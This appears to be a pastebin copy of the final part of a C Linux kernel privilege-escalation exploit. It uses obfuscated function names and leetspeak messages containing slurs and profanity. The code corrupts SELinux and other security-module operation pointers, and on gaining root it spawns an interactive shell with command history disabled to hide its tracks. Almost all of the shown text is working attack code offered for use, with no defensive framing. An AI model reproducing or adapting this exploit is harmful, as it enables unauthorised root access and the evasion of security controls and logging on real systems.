  806. __gggdfstsgdt_dddex("$$$ m4q1c p0rt4l l3n f0und: 0x%x\n", magiclen);
  807.  
  808. __pppp_tegddewyfg("$$$ 0v3r thr0w f0ps g0v3rnm3nt\n");
  809. bitch_call(&at, (void*)Y0Y0STOP);
  810. sleep(1);
  811.  
  812. fd = open(TMAGIC_66TDFDRTS, O_RDONLY);
  813. if(fd < 0)
  814. __xxxfdgftr_hshsgdt("!!! fuq t1m3r_l1st");
  815.  
  816. pfd.fd = fd;
  817. pfd.events = POLLIN | POLLOUT;
  818. poll(&pfd, 1, 0);
  819. }
  820. else if(uselsm)
  821. {
  822. int msqid;
  823. __yyrhdgdtfs66ytgetrfd selinux_msg_off = curr_target->selinux_ops + (8*RHEL_LSM_OFF);
  824. __yyrhdgdtfs66ytgetrfd dummy_msg_off = curr_target->dummy_security_ops + (8*RHEL_LSM_OFF);
  825. __yyrhdgdtfs66ytgetrfd capability_msg_off = curr_target->capability_ops + (8*RHEL_LSM_OFF);
  826.  
  827.  
  828. msqid = msgget(0, IPC_PRIVATE|0600);
  829. if(msqid < 0)
  830. __xxxfdgftr_hshsgdt("!!! fuqqqqqq msgg3t");
  831.  
  832.  
  833. magiclen = get_socklen(selinux_msg_off, Y0Y0STOP);
  834. __setmcbuffer(J0J0S);
  835. bitch_call(&at, (void*)Y0Y0STOP);
  836. magiclen = get_socklen(selinux_msg_off+4, Y0Y0STOP);
  837. __setmcbuffer(0);
  838. bitch_call(&at, (void*)Y0Y0STOP);
  839.  
  840.  
  841. magiclen = get_socklen(dummy_msg_off, Y0Y0STOP);
  842. __setmcbuffer(J0J0S);
  843. bitch_call(&at, (void*)Y0Y0STOP);
  844. magiclen = get_socklen(dummy_msg_off+4, Y0Y0STOP);
  845. __setmcbuffer(0);
  846. bitch_call(&at, (void*)Y0Y0STOP);
  847.  
  848.  
  849. magiclen = get_socklen(capability_msg_off, Y0Y0STOP);
  850. __setmcbuffer(J0J0S);
  851. bitch_call(&at, (void*)Y0Y0STOP);
  852. magiclen = get_socklen(capability_msg_off+4, Y0Y0STOP);
  853. __setmcbuffer(0);
  854. bitch_call(&at, (void*)Y0Y0STOP);
  855.  
  856.  
  857. msgctl(msqid, IPC_RMID, (struct msqid_ds *) NULL); // exploit it
  858. }
  859.  
  860. munmap((void*)Y0Y0CMAP, PAGE_SIZE);
  861.  
  862. /* exec */
  863. if(getuid() == 0)
  864. {
  865. pid_t pid;
  866. __pppp_tegddewyfg("$$$ bl1ng bl1ng n1gg4 :PppPpPPpPPPpP\n");
  867. pid = fork();
  868. if(pid == 0)
  869. {
  870. char *args[] = {"/bin/sh", "-i", NULL};
  871. char *envp[] = {"TERM=linux", "BASH_HISTORY=/dev/null", "HISTORY=/dev/null", "history=/dev/null", "HISTFILE=/dev/null", "HISTFILESIZE=0",
  872. "PATH=/bin:/sbin:/usr/sbin:/usr/bin:/usr/local/bin:/usr/local/sbin", NULL };
  873. execve("/bin/sh", args, envp);
  874. }
  875. else
  876. {
  877. int status;
  878. waitpid(pid, &status, 0);
  879. }
  880. }
  881. else
  882. __pppp_tegddewyfg("!!! y0u fuq1ng f41l. g3t th3 fuq 0ut!\n");
  883.  
  884. close(s);
  885. return 0;
  886. }
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!